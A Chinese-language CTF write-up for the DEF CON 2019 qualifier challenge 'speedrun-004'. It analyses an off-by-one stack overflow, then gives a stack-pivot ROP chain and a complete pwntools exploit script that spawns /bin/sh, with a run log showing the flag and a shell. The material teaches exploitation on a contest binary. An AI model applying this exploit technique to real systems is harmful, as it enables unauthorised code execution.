源程序、IDA分析文件下载,百度网盘:https://pan.baidu.com/s/1vtlnsLC-jSMWgTq08QBqYA (提取码:4ggu)。

下面的内容是基于我对程序的分析的,所有的symbols都是我自己加上去的,如果您想要更好的提升自己,请自行分析一般。

安全防护

ex@Ex:~/test$ checksec speedrun-004
[*] '/home/ex/test/speedrun-004'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

分析

主要程序

void sub_400BD2()
{
  char buf[10]; // [rsp+2h] [rbp-Eh]
  int size; // [rsp+Ch] [rbp-4h]

  puts("how much do you have to say?");
  read(0, buf, 9uLL);
  buf[9] = 0;
  size = atoi(buf);
  if ( size > 0 )
  {
    if ( size <= 257 )
      sub_400B73(size);
    else
      puts("That's too much to say!.");
  }
  else
  {
    puts("That's not much to say.");
  }
}

程序先问我们要输入多少字节。size是有限制的。

注意size最大为257

sub_400B73

void __fastcall sub_400B73(int length)
{
  char buf[256]; // [rsp+10h] [rbp-100h]

  buf[0] = 0;
  puts("Ok, what do you have to say for yourself?");
  read(0, buf, length);
  printf("Interesting thought \"%s\", I'll take it into consideration.\n", buf);
}

在根据我们输入的size从输入流中读取。

溢出点

让我们来看看栈的布局:

-0000000000000104 var_104         dd ?
-0000000000000100 buf             db 256 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

由于buf的长度仅仅是256,但是size最大可以是257,很明显我们可以溢出到rbp寄存器上面去。

思路

  1. 栈转移
  2. 构造shellcode

下面会用到的一些ROP指令

# 0x0000000000400686 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400686
# 0x0000000000410a93 : pop rsi ; ret
pop_rsi_ret = 0x0000000000410a93
# 0x000000000044a155 : pop rdx ; ret
pop_rdx_ret = 0x000000000044a155
# 0x0000000000415f04 : pop rax ; ret
pop_rax_ret = 0x0000000000415f04
# 0x0000000000474f15 : syscall ; ret
syscall_ret = 0x0000000000474f15

# 0x0000000000401e43 : pop rsp ; ret
pop_rsp_ret = 0x0000000000401e43

栈转移

由于给我们的栈空间太小了,所以我们只能转移到其他地址。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x4b7000 r-xp    b7000 0      /home/ex/test/speedrun-004
          0x6b6000           0x6bc000 rw-p     6000 b6000  /home/ex/test/speedrun-004
          0x6bc000           0x6e0000 rw-p    24000 0      [heap]
    0x7ffff7ffa000     0x7ffff7ffd000 r--p     3000 0      [vvar]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000 0      [vdso]
    0x7ffffffdd000     0x7ffffffff000 rw-p    22000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> 

0x6bc000-0x200这个地址就不错。

所以我们的第一个布局是:

container_addr = 0x6bc000 - 0x200

read_addr = 0x44A140

layout1 = [
    p64(0), # rbp
    p64(pop_rdi_ret),
    p64(0), # fd
    p64(pop_rsi_ret),
    p64(container_addr), # buf
    # nbytes 不用设置
    p64(read_addr),

    p64(pop_rsp_ret), # 栈转移
    p64(container_addr),
]

payload1 = flat(layout1) * 4 # 增加几率
payload1 = payload1.ljust(256, '\x00') + '\x00'
# pause()
sh.send(payload1)

这里shellcode的主要功能是从输入流读取内容(我们的新栈),然后进行栈转移。

nbytes 不用设置,因为rdx上面本来就有一个较大的值,所以直接用该值就行了。

由于layout1大小是64字节,而我们的buf是256字节,由于有ALSR随机化,不一定每次都能跳到我们的shellcode上,但是我们可以复制4次来增加概率。那么概率由原先的1/16就能变成1/4

构造shellcode

下面是我们要构造的shellcode:

// /bin/sh
mov rax,0x0068732f6e69622f
push rax

mov rdi,rsp
mov rax,59
mov rsi,0
mov rdx,0
syscall

新栈布局:

str_bin_sh_offset = 0x100
str_bin_sh_addr = container_addr + str_bin_sh_offset

layout2 = [
    p64(pop_rdi_ret), # set rdi = '/bin/sh'
    p64(str_bin_sh_addr),
    p64(pop_rax_ret),
    p64(59), #define __NR_execve 59
    p64(pop_rsi_ret),
    p64(0), # set rsi = 0
    p64(pop_rdx_ret),
    p64(0), # set rdx = 0
    p64(syscall_ret),
]

payload2 = flat(layout2)
payload2 = payload2.ljust(str_bin_sh_offset, '\0') + '/bin/sh\0'

sh.send(payload2)

# time.sleep(1)
# sh.sendline('cat /flag')

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import time
import struct

# context.log_level = "debug"
# sh = remote('speedrun-004.quals2019.oooverflow.io', 31337)
sh = process('./speedrun-004')

# 生成调试文件
try:
    f = open('pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    print(e)

sh.sendline('257')

# 0x0000000000400686 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400686
# 0x0000000000410a93 : pop rsi ; ret
pop_rsi_ret = 0x0000000000410a93
# 0x000000000044a155 : pop rdx ; ret
pop_rdx_ret = 0x000000000044a155
# 0x0000000000415f04 : pop rax ; ret
pop_rax_ret = 0x0000000000415f04
# 0x0000000000474f15 : syscall ; ret
syscall_ret = 0x0000000000474f15

# 0x0000000000401e43 : pop rsp ; ret
pop_rsp_ret = 0x0000000000401e43

container_addr = 0x6bc000 - 0x200

read_addr = 0x44A140

layout1 = [
    p64(0), # rbp
    p64(pop_rdi_ret),
    p64(0), # fd
    p64(pop_rsi_ret),
    p64(container_addr), # buf
    # nbytes 不用设置
    p64(read_addr),

    p64(pop_rsp_ret), # 栈转移
    p64(container_addr),
]

payload1 = flat(layout1) * 4 # 增加几率
payload1 = payload1.ljust(256, '\x00') + '\x00'
# pause()
sh.send(payload1)

str_bin_sh_offset = 0x100
str_bin_sh_addr = container_addr + str_bin_sh_offset

layout2 = [
    p64(pop_rdi_ret), # set rdi = '/bin/sh'
    p64(str_bin_sh_addr),
    p64(pop_rax_ret),
    p64(59), #define __NR_execve 59
    p64(pop_rsi_ret),
    p64(0), # set rsi = 0
    p64(pop_rdx_ret),
    p64(0), # set rdx = 0
    p64(syscall_ret),
]

payload2 = flat(layout2)
payload2 = payload2.ljust(str_bin_sh_offset, '\0') + '/bin/sh\0'

sh.send(payload2)

# time.sleep(1)
# sh.sendline('cat /flag')

sh.interactive()

# 删除调试文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ python exp.py 
[+] Opening connection to speedrun-004.quals2019.oooverflow.io on port 31337: Done
list index out of range
[*] Switching to interactive mode
i think i'm getting better at this coding thing.
how much do you have to say?
Ok, what do you have to say for yourself?
Interesting thought "", I'll take it into consideration.
OOO{Maybe ur lying to yourself. Maybe ur NoT the white hat pretending 2 be a black hat. Maybe you're the black hat pretending 2 be the white hat.}
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)